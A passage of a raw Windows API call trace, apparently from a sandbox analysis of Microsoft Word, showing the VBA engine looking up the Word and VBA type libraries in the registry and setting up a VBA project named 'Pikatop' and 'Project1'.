szName="CLngLng") returned 0x404463 [0094.682] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefLngLng") returned 0x4020a5 [0094.682] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="LongLong") returned 0x40378e [0094.682] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="LongPtr") returned 0x40d4e8 [0094.682] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="0") returned 0x401047 [0094.682] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="0") returned 0x401047 [0094.682] StringFromGUID2 (in: rguid=0x2764b224030*(Data1=0x20905, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0xb5690f3650, cchMax=39 | out: lpsz="{00020905-0000-0000-C000-000000000046}") returned 39 [0094.682] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0xb5690f3310 | out: phkResult=0xb5690f3310*=0x12ce) returned 0x0 [0094.682] RegOpenKeyW (in: hKey=0x12ce, lpSubKey="{00020905-0000-0000-C000-000000000046}", phkResult=0xb5690f3308 | out: phkResult=0xb5690f3308*=0x12d6) returned 0x0 [0094.683] RegEnumKeyW (in: hKey=0x12d6, dwIndex=0x0, lpName=0xb5690f3338, cchName=0xa | out: lpName="8.7") returned 0x0 [0094.683] wcscpy_s (in: _Destination=0xb5690f3320, _SizeInWords=0xa, _Source="8.7" | out: _Destination="8.7") returned 0x0 [0094.683] RegOpenKeyW (in: hKey=0x12d6, lpSubKey="8.7", phkResult=0xb5690f33c8 | out: phkResult=0xb5690f33c8*=0x12e2) returned 0x0 [0094.683] _ultoa_s (in: _Val=0x409, _DstBuf=0xb5690f3340, _Size=0xa, _Radix=16 | out: _DstBuf="409") returned 0x0 [0094.683] RegOpenKeyA (in: hKey=0x12e2, lpSubKey="409", phkResult=0xb5690f3330 | out: phkResult=0xb5690f3330*=0x0) returned 0x2 [0094.683] _ultoa_s (in: _Val=0x9, _DstBuf=0xb5690f3340, _Size=0xa, _Radix=16 | out: _DstBuf="9") returned 0x0 [0094.683] RegOpenKeyA (in: hKey=0x12e2, lpSubKey="9", phkResult=0xb5690f3330 | out: phkResult=0xb5690f3330*=0x0) returned 0x2 [0094.683] RegOpenKeyA (in: hKey=0x12e2, lpSubKey="0", phkResult=0xb5690f3330 | out: phkResult=0xb5690f3330*=0x12e6) returned 0x0 [0094.683] RegOpenKeyW (in: hKey=0x12e6, lpSubKey="win64", phkResult=0xb5690f3338 | out: phkResult=0xb5690f3338*=0x12ee) returned 0x0 [0094.684] RegCloseKey (hKey=0x12ee) returned 0x0 [0094.684] RegCloseKey (hKey=0x12e6) returned 0x0 [0094.684] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f33d0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0094.684] RegOpenKeyW (in: hKey=0x12e2, lpSubKey="0", phkResult=0xb5690f33a8 | out: phkResult=0xb5690f33a8*=0x12de) returned 0x0 [0094.684] RegQueryValueW (in: hKey=0x12de, lpSubKey="win64", lpData=0xb5690f33f0, lpcbData=0xb5690f33a4 | out: lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB", lpcbData=0xb5690f33a4) returned 0x0 [0094.684] wcscpy_s (in: _Destination=0xb5690f3720, _SizeInWords=0x800, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0094.684] RegCloseKey (hKey=0x12de) returned 0x0 [0094.684] RegCloseKey (hKey=0x12e2) returned 0x0 [0094.684] RegCloseKey (hKey=0x12d6) returned 0x0 [0094.684] RegCloseKey (hKey=0x12ce) returned 0x0 [0094.685] LoadTypeLib (in: szFile="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB", pptlib=0xb5690f25a8*=0x0 | out: pptlib=0xb5690f25a8*=0x276454c2ce0) returned 0x0 [0094.685] ITypeLib:RemoteGetDocumentation (in: This=0x276454c2ce0, index=-1, refPtrFlags=0x690f25c8, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f2678 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f2678) returned 0x0 [0094.685] IUnknown:QueryInterface (in: This=0x276454c2ce0, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f23b8 | out: ppvObject=0xb5690f23b8*=0x0) returned 0x80004002 [0094.685] ITypeLib:RemoteGetLibAttr (in: This=0x276454c2ce0, ppTLibAttr=0xb5690f23b0, pDummy=0xb5690f23b8 | out: ppTLibAttr=0xb5690f23b0, pDummy=0xb5690f23b8*=0x0) returned 0x0 [0094.685] ITypeLib:RemoteGetDocumentation (in: This=0x276454c2ce0, index=-1, refPtrFlags=0x0, pBstrName=0xb5690f23a8, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0xb5690f23a8*="Microsoft Word 16.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0094.685] StringFromGUID2 (in: rguid=0x2764ae3aed0*(Data1=0x20905, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0xb5690f23d0, cchMax=39 | out: lpsz="{00020905-0000-0000-C000-000000000046}") returned 39 [0094.685] _ultow_s (in: _Value=0x8, _Buffer=0xb5690f231a, _BufferCount=0x10, _Radix=16 | out: _Buffer="8") returned 0x0 [0094.685] _ultow_s (in: _Value=0x7, _Buffer=0xb5690f231e, _BufferCount=0xe, _Radix=16 | out: _Buffer="7") returned 0x0 [0094.685] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f2322, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0094.685] wcscpy_s (in: _Destination=0x2764b665558, _SizeInWords=0x8e, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0094.685] wcscpy_s (in: _Destination=0x2764b66555e, _SizeInWords=0x8b, _Source="{00020905-0000-0000-C000-000000000046}" | out: _Destination="{00020905-0000-0000-C000-000000000046}") returned 0x0 [0094.685] wcscpy_s (in: _Destination=0x2764b6655aa, _SizeInWords=0x65, _Source="#8.7#0#" | out: _Destination="#8.7#0#") returned 0x0 [0094.685] wcscpy_s (in: _Destination=0x2764b6655b8, _SizeInWords=0x5e, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0094.685] wcscpy_s (in: _Destination=0x2764b66562e, _SizeInWords=0x23, _Source="Microsoft Word 16.0 Object Library" | out: _Destination="Microsoft Word 16.0 Object Library") returned 0x0 [0094.685] ITypeLib:LocalReleaseTLibAttr (This=0x276454c2ce0) returned 0x0 [0094.685] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764afa3ff0, cb=0x1a0) returned 0x2764b6758e0 [0094.685] wcscpy_s (in: _Destination=0x2764b6758e0, _SizeInWords=0x8e, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library" | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0094.685] ITypeLib:RemoteGetDocumentation (in: This=0x276454c2ce0, index=-1, refPtrFlags=0x690f24c8, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2764aff413c | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2764aff413c) returned 0x0 [0094.685] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Word") returned 0x406bb5 [0094.686] strcpy_s (in: _Dst=0xb5690f22c0, _DstSize=0x5, _Src="Word" | out: _Dst="Word") returned 0x0 [0094.686] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5690f22c0, cbMultiByte=5, lpWideCharStr=0xb5690f2110, cchWideChar=5 | out: lpWideCharStr="Word") returned 5 [0094.686] wcsncpy_s (in: _Destination=0xb5690f20c0, _SizeInWords=0x108, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0094.686] CharLowerBuffW (in: lpsz="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library") returned 0x8d [0094.686] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x11c) returned 0x2764b16bbf0 [0094.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", cchWideChar=142, lpMultiByteStr=0x2764b16bbf0, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", lpUsedDefaultChar=0x0) returned 142 [0094.686] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b16bbf0) [0094.686] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0 [0094.686] wcsncpy_s (in: _Destination=0xb5690f20c0, _SizeInWords=0x108, _Source="*\\Z04612782e9", _MaxCount=0x106 | out: _Destination="*\\Z04612782e9") returned 0x0 [0094.686] CharLowerBuffW (in: lpsz="*\\Z04612782e9", cchLength=0xd | out: lpsz="*\\z04612782e9") returned 0xd [0094.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z04612782e9", cchWideChar=14, lpMultiByteStr=0xb5690f1ff0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z04612782e9", lpUsedDefaultChar=0x0) returned 14 [0094.686] _wcsicmp (_String1="*\\Z04612782e9", _String2="*\\Z04612782e9") returned 0 [0094.686] IUnknown:AddRef (This=0x276454c2ce0) returned 0x7 [0094.686] IUnknown:QueryInterface (in: This=0x276454c2ce0, riid=0x7ff9be1ccce8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f24e8 | out: ppvObject=0xb5690f24e8*=0x0) returned 0x80004002 [0094.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0xb5690f24b0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5 [0094.686] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Word") returned 0x406bb5 [0094.686] IUnknown:Release (This=0x276454c2ce0) returned 0x6 [0094.686] IUnknown:AddRef (This=0x276454bf8a0) returned 0x3 [0094.686] ITypeLib:RemoteGetDocumentation (in: This=0x276454bf8a0, index=-1, refPtrFlags=0x690f25c8, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb500000000 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb500000000) returned 0x0 [0094.686] IUnknown:QueryInterface (in: This=0x276454bf8a0, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f23b8 | out: ppvObject=0xb5690f23b8*=0x0) returned 0x80004002 [0094.686] ITypeLib:RemoteGetLibAttr (in: This=0x276454bf8a0, ppTLibAttr=0xb5690f23b0, pDummy=0xb5690f23b8 | out: ppTLibAttr=0xb5690f23b0, pDummy=0xb5690f23b8*=0x0) returned 0x0 [0094.686] ITypeLib:RemoteGetDocumentation (in: This=0x276454bf8a0, index=-1, refPtrFlags=0x0, pBstrName=0xb5690f23a8, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x74ccd675b2e6 | out: pBstrName=0xb5690f23a8*="Visual Basic For Applications", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x74ccd675b2e6) returned 0x0 [0094.686] StringFromGUID2 (in: rguid=0x2764ae3aed0*(Data1=0x204ef, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0xb5690f23d0, cchMax=39 | out: lpsz="{000204EF-0000-0000-C000-000000000046}") returned 39 [0094.686] _ultow_s (in: _Value=0x4, _Buffer=0xb5690f231a, _BufferCount=0x10, _Radix=16 | out: _Buffer="4") returned 0x0 [0094.686] _ultow_s (in: _Value=0x2, _Buffer=0xb5690f231e, _BufferCount=0xe, _Radix=16 | out: _Buffer="2") returned 0x0 [0094.687] _ultow_s (in: _Value=0x9, _Buffer=0xb5690f2322, _BufferCount=0xc, _Radix=16 | out: _Buffer="9") returned 0x0 [0094.687] wcscpy_s (in: _Destination=0x2764b665558, _SizeInWords=0x91, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0094.687] wcscpy_s (in: _Destination=0x2764b66555e, _SizeInWords=0x8e, _Source="{000204EF-0000-0000-C000-000000000046}" | out: _Destination="{000204EF-0000-0000-C000-000000000046}") returned 0x0 [0094.687] wcscpy_s (in: _Destination=0x2764b6655aa, _SizeInWords=0x68, _Source="#4.2#9#" | out: _Destination="#4.2#9#") returned 0x0 [0094.687] wcscpy_s (in: _Destination=0x2764b6655b8, _SizeInWords=0x61, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0094.687] wcscpy_s (in: _Destination=0x2764b66563e, _SizeInWords=0x1e, _Source="Visual Basic For Applications" | out: _Destination="Visual Basic For Applications") returned 0x0 [0094.687] ITypeLib:LocalReleaseTLibAttr (This=0x276454bf8a0) returned 0x0 [0094.687] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b6758e0, cb=0x340) returned 0x2764b6d6fc0 [0094.687] wcscpy_s (in: _Destination=0x2764b6d7108, _SizeInWords=0x91, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0094.687] ITypeLib:RemoteGetDocumentation (in: This=0x276454bf8a0, index=-1, refPtrFlags=0x690f24c8, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2764b60df6c | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2764b60df6c) returned 0x0 [0094.687] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VBA") returned 0x40e2f7 [0094.687] strcpy_s (in: _Dst=0xb5690f22c0, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0094.687] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5690f22c0, cbMultiByte=4, lpWideCharStr=0xb5690f2110, cchWideChar=4 | out: lpWideCharStr="VBA") returned 4 [0094.687] IUnknown:AddRef (This=0x276454c2ce0) returned 0x7 [0094.687] ITypeLib:RemoteIsName (in: This=0x276454c2ce0, szNameBuf="VBA", lHashVal=0x40e2f7, pfName=0xb5690f21e0, pBstrLibName=0xb5690f2110 | out: pfName=0xb5690f21e0*=0, pBstrLibName=0xb5690f2110) returned 0x0 [0094.687] IUnknown:Release (This=0x276454c2ce0) returned 0x6 [0094.687] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc) returned 0x2764b178590 [0094.687] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad3aab0) [0094.687] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad3a720 [0094.687] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b178590) [0094.687] wcsncpy_s (in: _Destination=0xb5690f20c0, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0094.687] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90 [0094.687] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x122) returned 0x2764b1682f0 [0094.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0x2764b1682f0, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145 [0094.687] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b1682f0) [0094.687] _wcsicmp (_String1="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0 [0094.688] wcsncpy_s (in: _Destination=0xb5690f20c0, _SizeInWords=0x108, _Source="*\\Z04612782e9", _MaxCount=0x106 | out: _Destination="*\\Z04612782e9") returned 0x0 [0094.688] CharLowerBuffW (in: lpsz="*\\Z04612782e9", cchLength=0xd | out: lpsz="*\\z04612782e9") returned 0xd [0094.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z04612782e9", cchWideChar=14, lpMultiByteStr=0xb5690f1ff0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z04612782e9", lpUsedDefaultChar=0x0) returned 14 [0094.688] _wcsicmp (_String1="*\\Z04612782e9", _String2="*\\Z04612782e9") returned 0 [0094.688] IUnknown:AddRef (This=0x276454bf8a0) returned 0x4 [0094.688] IUnknown:QueryInterface (in: This=0x276454bf8a0, riid=0x7ff9be1ccce8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f24e8 | out: ppvObject=0xb5690f24e8*=0x0) returned 0x80004002 [0094.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0xb5690f24b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0094.688] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VBA") returned 0x40e2f7 [0094.688] IUnknown:Release (This=0x276454bf8a0) returned 0x3 [0094.688] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2763bee1780 [0094.688] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2763bee1780) returned 0x0 [0094.688] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2763c48c1d0 [0094.688] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2763c48c1d0) returned 0x0 [0094.688] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2763c48c360 [0094.688] qsort (in: _Base=0x2763c48c360, _NumOfElements=0x0, _SizeOfElements=0x10, _PtFuncCompare=0x7ff9be161bbc | out: _Base=0x2763c48c360) [0094.688] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763c48c360) [0094.688] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b178590 [0094.688] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc) returned 0x2764b178930 [0094.688] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b178930) returned 0xc [0094.688] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Win16") returned 0x407ec1 [0094.688] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Win32") returned 0x407f07 [0094.688] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Win64") returned 0x407f78 [0094.688] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Mac") returned 0x40b2b3 [0094.688] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VBA6") returned 0x4023ad [0094.688] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VBA7") returned 0x4023ae [0094.688] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763c48c1d0) [0094.689] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763bee1780) [0094.689] CoCreateGuid (in: pguid=0xb5690f4788 | out: pguid=0xb5690f4788*(Data1=0x272b8a51, Data2=0xb475, Data3=0x4fd1, Data4=([0]=0xbc, [1]=0xa3, [2]=0x81, [3]=0x4a, [4]=0xfc, [5]=0x3a, [6]=0x98, [7]=0x45))) returned 0x0 [0094.689] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x6b0) returned 0x2764b24b200 [0094.689] CoCreateGuid (in: pguid=0x2764b669248 | out: pguid=0x2764b669248*(Data1=0x46756fb5, Data2=0x2778, Data3=0x4287, Data4=([0]=0xb8, [1]=0x9b, [2]=0x47, [3]=0x9c, [4]=0x48, [5]=0xcd, [6]=0xef, [7]=0xcf))) returned 0x0 [0094.689] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x0) returned 0x2763c48c360 [0094.689] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2764b3c65f0 [0094.689] strcpy_s (in: _Dst=0x2764b6692a8, _DstSize=0x1, _Src="" | out: _Dst="") returned 0x0 [0094.689] LoadStringA (in: hInstance=0x276498e0000, uID=0x32f3, lpBuffer=0x2764997b608, cchBufferMax=2043 | out: lpBuffer="Project") returned 0x7 [0094.690] wsprintfA (in: param_1=0x2764997b60f, param_2="%d" | out: param_1="1") returned 1 [0094.690] SysStringByteLen (bstr="楐慫潴p") returned 0x7 [0094.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ad02368, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0094.690] SysStringByteLen (bstr="楐慫潴p") returned 0x7 [0094.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ad02368, cbMultiByte=8, lpWideCharStr=0x2764ae3aed8, cchWideChar=8 | out: lpWideCharStr="Pikatop") returned 8 [0094.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Pikatop", cchWideChar=-1, lpMultiByteStr=0xb5690f4c00, cbMultiByte=2044, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pikatop", lpUsedDefaultChar=0x0) returned 8 [0094.690] lstrlenA (lpString="Pikatop") returned 7 [0094.690] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="Pikatop", cchCount1=-1, lpString2="Project1", cchCount2=-1) returned 1 [0094.690] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Project1") returned 0x40170a [0094.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=9, lpMultiByteStr=0xb5690f5160, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0094.690] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Project1") returned 0x40170a [0094.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=9, lpMultiByteStr=0xb5690f5020, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0094.691] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Project1") returned 0x40170a [0094.691] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Project1") returned 0x40170a [0094.691] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b178950 [0094.691] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad3a720) [0094.691] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad3a750 [0094.691] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ad3a750, cb=0x44) returned 0x2764b190ff0 [0094.691] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b178950) [0094.691] wcsncpy_s (in: _Destination=0xb5690f4e20, _SizeInWords=0x108, _Source="*\\Z04612782e9", _MaxCount=0x106 | out: _Destination="*\\Z04612782e9") returned 0x0 [0094.691] CharLowerBuffW (in: lpsz="*\\Z04612782e9", cchLength=0xd | out: lpsz="*\\z04612782e9") returned 0xd [0094.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z04612782e9", cchWideChar=14, lpMultiByteStr=0xb5690f4d50, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z04612782e9", lpUsedDefaultChar=0x0) returned 14 [0094.691] _wcsicmp (_String1="*\\Z04612782e9", _String2="*\\Z04612782e9") returned 0 [0094.691] strcpy_s (in: _Dst=0x2764b6692b8, _DstSize=0x9, _Src="Project1" | out: _Dst="Project1") returned 0x0 [0094.691] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0094.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ad02368, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0094.691] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0094.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ad02368, cbMultiByte=9, lpWideCharStr=0x2764ae3aed8, cchWideChar=9 | out: lpWideCharStr="Project1") returned 9 [0094.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=-1, lpMultiByteStr=0xb5690f4b00, cbMultiByte=2043, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0094.691] lstrlenA (lpString="Project1") returned 8 [0094.692] QueryPathOfRegTypeLib (in: guid=0x7ff9be1dd268*(Data1=0x20430, 